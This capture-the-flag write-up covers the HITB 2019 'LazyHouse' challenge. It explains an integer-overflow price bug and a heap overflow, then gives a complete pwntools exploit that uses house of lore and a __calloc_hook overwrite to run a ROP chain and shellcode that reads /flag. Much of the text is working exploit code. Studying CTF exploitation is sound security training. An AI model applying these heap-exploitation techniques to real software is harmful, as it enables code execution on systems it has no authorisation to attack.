LazyHouse¶
HITB Qual 2019
Vulnerability¶
Type Confusion¶
The value of (int64_t size) is cast to uint64, and the high bits (higher than 64) of the result of imul can be ignored.

For Example, if we enter a value 0x13f69b02593f69b1 as size of a house.

We can make the result of imul to be very small, which is the money we need to pay for the house.

After that, if we sell the house, we will get as much money as size << 6.

In one word, we enter a size for house and then sell the house, we will get as much money as -((uint64_t)(size * 0xda) & 0xffffffffffffffff) + (uint64_t)(size << 6).
We fraudulently obtain money without paying anything~
Heap Overflow¶
Only twice
We can make a 32 bytes heap overflow when we upgrade a house.

Diffifulty¶
Calloc¶
We can only buy a normal house and get a chunk allocated buy function calloc. If we want to use malloc, we need to buy a super house.
The differences between malloc and calloc are shown as follows.
- calloc will not use tcache bins for allocation.
For __libc_malloc

For __libc_calloc

And, _int_malloc will directly search fastbins for allocating rather than searching tcache bins firstly.

callocwill zero the memory got from__int_malloc.
Glibc 2.29¶
- Glibc2.28 disallowed unsotedbin attack for arbitrary address writing. So, it is not easy to overwrite
global_max_fastto fuck chunks and bins of any size into the range of fastbins. - Glibc2.29 disallowed house of force.
Exploit¶
Get Enough Money¶
I play the trick mentioned before to get the money close to 0xffffffffffffffff for further exploiting.
def fuck_money(size):
buy_house(7, size, "\x00")
sell(7)
log.critical(hex(check_money()))
fuck_money(0x13f69b02593f69b1)
fuck_money(0x109bb0727572e2bd)
fuck_money(0x13f2b1389a662c33)
fuck_money(0x4fcace18cee3091)

Leak¶
If we want to make the address of libc appear in heap, we should make the tcache bins of our size full. It is great that calloc does not obtain bin from tcache bins. So, we can do buy and sell operation for more then 7 times to fill tcache bins of our size up.
make tcache size 0x217 full or i in range(0, 7): buy_house(7, 0x217, "\x00") sell(7)

buy_house(2, 0x80, "x" * 0x10) sell(2) buy_house(0, 0x400, "\xaa" * 0x400) buy_house(1, 0xa0, "\xbb" * 0xa0) buy_house(2, 0x90, "\xcc" * 0x90) buy_house(3, 0x90, "\xdd" * 0x90)

Then, I use house 0 to make the overflow to overwrite the size of the chunk at 0x15d0 to 0x8d1.
#overlapping first
upgrade(0, "\xaa" * 0x400 + p64(0) + p64(0x8d1))
for i in range(0, 7):
buy_house(7, 0x90, "\x11" * 0x90)
sell(7)

Then, I fill the tcache of size (0x90 + 0x10) up, and I make 4 chunk of this size, which will be free into unsorted bins.
for i in range(0, 7):
buy_house(7, 0x90, "\x11" * 0x90)
sell(7)
#unsorted bin
buy_house(4, 0x90, "\x44" * 0x90)
buy_house(5, 0x90, "\x55" * 0x90)
buy_house(6, 0x90, "\x66" * 0x90)
buy_house(7, 0x90, "\x77" * 0x90)
sell(1)

Then, I calloc the chunk of (0x8d0 - 0x10) to get the chunk again. Which is the most import is that, we then free the chunk of house 4 and house 6 to make them into unsorted bins.
buy_house(1, 0x8c0, "\xbb" * 0xa0 +
p64(0) + p64(0xa1) + "\xcc" * 0x90 +
p64(0) + p64(0xa1) + "\xdd" * 0x90 +
(p64(0) + p64(0xa1) + "\x11" * 0x90) * 7 +
p64(0) + p64(0xa1) + "\x44" * 0x90 +
p64(0) + p64(0xa1) + "\x55" * 0x90 +
p64(0) + p64(0xa1) + "\x66" * 0x90 +
p64(0) + p64(0xa1) + "\x77" * 0x90 )
#pause()
sell(4)
sell(6)

And show house 1 to get heap address and libc address.
#leak
show_house(1, reading = False)
for i in range(0, 10):
ru(p64(0xa1))
leaked_libc = u64(p.read(8))
leaked_heap = u64(p.read(8))
libc_base = leaked_libc - 0x1e4ca0
heap_base = leaked_heap - 0x1d60
log.critical("libc_base --> {}".format(hex(libc_base)))
log.critical("heap_base --> {}".format(hex(heap_base)))

House of Lore¶
I use house of lore to fuck the tcache struct in heap range to reach the goal of arbitrary writing. Firstly, I sell the bit chunk and buy the chunk to change the value overlapped by this chunk. This is really usefull in the consistance that we can only upgrade houses for twice. By modifying chunks, we can make the change the size of the chunk of house 2 to 0x21 and the size of the chunk of house 7 to 0x31.
sell(1)
buy_house(1, 0x8c0, "\xbb" * 0xa0 +
p64(0) + p64(0x21) + "\xcc" * 0x10 +
p64(0) + p64(0xa1 - 0x20) + "\x00" * (0x90 - 0x20) +
p64(0) + p64(0xa1) + "\xdd" * 0x90 +
(p64(0) + p64(0xa1) + "\x11" * 0x90) * 7 +
p64(0) + p64(0xa1) + p64(libc_base + 0x1e4d40 - 0x10) + p64(heap_base + 0x1d60) + "\x44" * 0x80 +
p64(0) + p64(0x21) + "\x55" * 0x10 +
p64(0) + p64(0xa1 - 0x20) + "\x00" * (0x90 - 0x20) +
p64(0) + p64(0xa1) + p64(heap_base + 0x1c20) + p64(libc_base + 0x1e4d40 - 0x10) + "\x66" * 0x80 +
p64(0) + p64(0x31) + p64(heap_base + 0x40) * 4 +
p64(0) + p64(0xa1 - 0x30) + "\x00" * (0x90 - 0x30) )
#prepare for house of lore
sell(2)
sell(7)
sell(1)

We sell the chunk of house 1, that big chunk, for further making a small bin at the address of that 0x21 tcache chunk. (The pointer in tcache struct is &chunk + 0x10) We buy a chunk, the size of which is (0xb0 + 0x10), to make the top chunk start at the address of that 0x21 tcache bin. GREAT~
buy_house(1, 0xb0, "\x11" * 0xb0)

Obtain the small bin in smallbins to clean the smallbins.
buy_house(2, 0x90, "\x22" * 0x90)
buy_house(6, 0x217, "\x66" * 0x90)

So, it is good for the check for smallbins list. p->BK->prev == p. We then get a smallbin chunk to avoid being merging with top_chunk.
buy_house(4, 0x217, "\x44" * 0x90)
calloc, we need to zero memory with the size of the fake chunk (0 is really not good).
buy_house(6, 0x3a0, p64(heap_base + 0x40) * (0x3a0 / 8)) sell(6)

Then we make the second overflow to do house of lore attack, modify p->bk to fake_chunk.
upgrade(1, "\x22" * 0xb0 + p64(0) + p64(0xa1) + p64(libc_base + 0x1e4d30) + p64(heap_base + 0x40))
heap_base + 0x40. The great trick of setting bitmap to 0x100 has aslo meet that requirement.
buy_house(6, 0x3a0, p64(heap_base + 0x40) * (0x3a0 / 8))
__calloc_hook and buy a big house (use malloc).
We can make ROP_CHAIN when we buy the house.
It is interesting that when we call __calloc_hook, the register rbp is the same value as size.
So, we change __calloc_hook to a Gadget leave; ret to do ROP at the ROP_CHAIN by calloc(&heap_chunk + ?).
EXP¶
from pwn import *
local=1
pc='./lazyhouse'
aslr=True
context.log_level="debug"
context.word_size = 64
context.os = "linux"
context.endian = "little"
libc=ELF('./libc.so.6')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './ld-linux-x86-64.so.2', "LD_LIBRARY_PATH":"./"})
p = process(pc,aslr=aslr)
#gdb.attach(p, "b malloc_printerr")
else:
remote_addr=['6.6.6.6', 6666]
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def buy_house(index, size, buf, logging = False):
ru("Your choice: ")
log.info("target price --> {price}".format(price = hex(size * 0xDA & 0xffffffffffffffff)))
sl("1")
ru("Your money:")
money_now = int(rl().strip())
log.info("money_now --> {money_now}".format(money_now = hex(money_now)))
ru("Index:")
sl(str(index))
ru("Size:")
sl(str(size))
ru("Price:")
log.info("price --> {price}".format(price = hex(int(rl().strip()))))
if logging == True:
return
if(p.read(6) != "House:"):
rl()
log.critical("fucked a really big house")
return
sn(buf)
def show_house(index, reading = True):
ru("Your choice: ")
sl("2")
ru("Index:")
sl(str(index))
if reading == True:
return ru("$$$$$$$$$$$$$$$$$$$$$$$$$$$$")[:-len("$$$$$$$$$$$$$$$$$$$$$$$$$$$$")]
def upgrade(index, buf):
ru("Your choice: ")
sl("4")
ru("Index:")
sl(str(index))
ru("House:")
sn(buf)
def sell(index):
ru("Your choice: ")
sl("3")
ru("Index:")
sl(str(index))
def check_money():
ru("Your choice: ")
sl("1")
ru("Your money:")
money_now = int(rl().strip())
#log.critical("money_now --> {money}".format(money = hex(money_now)))
ru("Index:")
sl("7")
ru("Size:")
sl(str(0x10))
#log.critical("max calloc --> {money}".format(money = hex(money_now / 0xda)))
return money_now
def buy_super(buf):
ru("Your choice: ")
sl("5")
ru("House:")
sn(buf)
def show_super():
ru("Your choice: ")
sl("6")
ru("Here is supper house:\n")
return p.read(0x217)
def fuck_money(size):
buy_house(7, size, "\x00")
sell(7)
log.critical(hex(check_money()))
if __name__ == '__main__':
fuck_money(0x13f69b02593f69b1)
fuck_money(0x109bb0727572e2bd)
fuck_money(0x13f2b1389a662c33)
fuck_money(0x4fcace18cee3091)
#make tcache size 0x217 full
for i in range(0, 7):
buy_house(7, 0x217, "\x00")
sell(7)
#chunk after tcache and before tmp tcache bins
buy_house(2, 0x80, "x" * 0x10)
sell(2)
buy_house(0, 0x400, "\xaa" * 0x400)
buy_house(1, 0xa0, "\xbb" * 0xa0)
buy_house(2, 0x90, "\xcc" * 0x90)
buy_house(3, 0x90, "\xdd" * 0x90)
#overlapping first
upgrade(0, "\xaa" * 0x400 + p64(0) + p64(0x8d1))
for i in range(0, 7):
buy_house(7, 0x90, "\x11" * 0x90)
sell(7)
#unsorted bin
buy_house(4, 0x90, "\x44" * 0x90)
buy_house(5, 0x90, "\x55" * 0x90)
buy_house(6, 0x90, "\x66" * 0x90)
buy_house(7, 0x90, "\x77" * 0x90)
#a big chunk
sell(1)
#pause()
buy_house(1, 0x8c0, "\xbb" * 0xa0 +
p64(0) + p64(0xa1) + "\xcc" * 0x90 +
p64(0) + p64(0xa1) + "\xdd" * 0x90 +
(p64(0) + p64(0xa1) + "\x11" * 0x90) * 7 +
p64(0) + p64(0xa1) + "\x44" * 0x90 +
p64(0) + p64(0xa1) + "\x55" * 0x90 +
p64(0) + p64(0xa1) + "\x66" * 0x90 +
p64(0) + p64(0xa1) + "\x77" * 0x90 )
#pause()
sell(4)
sell(6)
#leak
show_house(1, reading = False)
for i in range(0, 10):
ru(p64(0xa1))
leaked_libc = u64(p.read(8))
leaked_heap = u64(p.read(8))
libc_base = leaked_libc - 0x1e4ca0
heap_base = leaked_heap - 0x1d60
log.critical("libc_base --> {}".format(hex(libc_base)))
log.critical("heap_base --> {}".format(hex(heap_base)))
sell(1)
#pause()
buy_house(1, 0x8c0, "\xbb" * 0xa0 +
p64(0) + p64(0x21) + "\xcc" * 0x10 +
p64(0) + p64(0xa1 - 0x20) + "\x00" * (0x90 - 0x20) +
p64(0) + p64(0xa1) + "\xdd" * 0x90 +
(p64(0) + p64(0xa1) + "\x11" * 0x90) * 7 +
p64(0) + p64(0xa1) + p64(libc_base + 0x1e4d40 - 0x10) + p64(heap_base + 0x1d60) + "\x44" * 0x80 +
p64(0) + p64(0x21) + "\x55" * 0x10 +
p64(0) + p64(0xa1 - 0x20) + "\x00" * (0x90 - 0x20) +
p64(0) + p64(0xa1) + p64(heap_base + 0x1c20) + p64(libc_base + 0x1e4d40 - 0x10) + "\x66" * 0x80 +
p64(0) + p64(0x31) + p64(heap_base + 0x40) * 4 +
p64(0) + p64(0xa1 - 0x30) + "\x00" * (0x90 - 0x30) )
#prepare for house of lore
sell(2)
sell(7)
sell(1)
buy_house(1, 0xb0, "\x11" * 0xb0)
buy_house(2, 0x90, "\x22" * 0x90)
buy_house(6, 0x217, "\x66" * 0x90)
buy_house(4, 0x217, "\x44" * 0x90)
sell(6)
#set bitmap to 0x100
buy_house(6, 0x3a0, p64(heap_base + 0x40) * (0x3a0 / 8))
sell(6)
pause()
#house of lore
upgrade(1, "\x22" * 0xb0 + p64(0) + p64(0xa1) + p64(libc_base + 0x1e4d30) + p64(heap_base + 0x40))
libc.address = libc_base
malloc_hook = libc.symbols["__malloc_hook"]
mprotect = libc.symbols["mprotect"]
leave_ret = libc_base + 0x0000000000058373
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
call_rdx = libc_base + 0x0000000000143650
ROP_CHAIN = p64(pop_rdi_ret) + p64(heap_base) + \
p64(pop_rsi_ret) + p64(0x4000) + \
p64(pop_rdx_ret) + p64(7) + p64(mprotect) + \
p64(pop_rdx_ret) + p64(heap_base + 0x1780) + p64(call_rdx)
ROP_CHAIN = ROP_CHAIN.ljust(0x1700 - 0x16a0, "\x90")
ROP_CHAIN += "/flag\0"
ROP_CHAIN = ROP_CHAIN.ljust(0x1780 - 0x16a0, "\x90")
buffer_addr = heap_base + 0x1700
heap_addr = heap_base + 0x2000
code = asm(pwnlib.shellcraft.amd64.linux.open(buffer_addr, 0, 2).replace("push SYS_open", "push 2"))
code += asm(pwnlib.shellcraft.amd64.linux.syscall('SYS_read', 'rax', heap_addr, 0x100))
code += asm(pwnlib.shellcraft.amd64.linux.syscall('SYS_write', 1 , heap_addr, 0x100).replace("push SYS_write", "push 1"))
code += asm(pwnlib.shellcraft.amd64.linux.syscall('SYS_exit', 0))
ROP_CHAIN += code
buy_house(6, 0x217, ROP_CHAIN)
buy_house(7, 0x217, p64(malloc_hook) * 0x40)
buy_super(p64(leave_ret) * 2)
sell(1)
buy_house(1, heap_base + 0x16a0 - 8, ROP_CHAIN, logging = True)
p.interactive()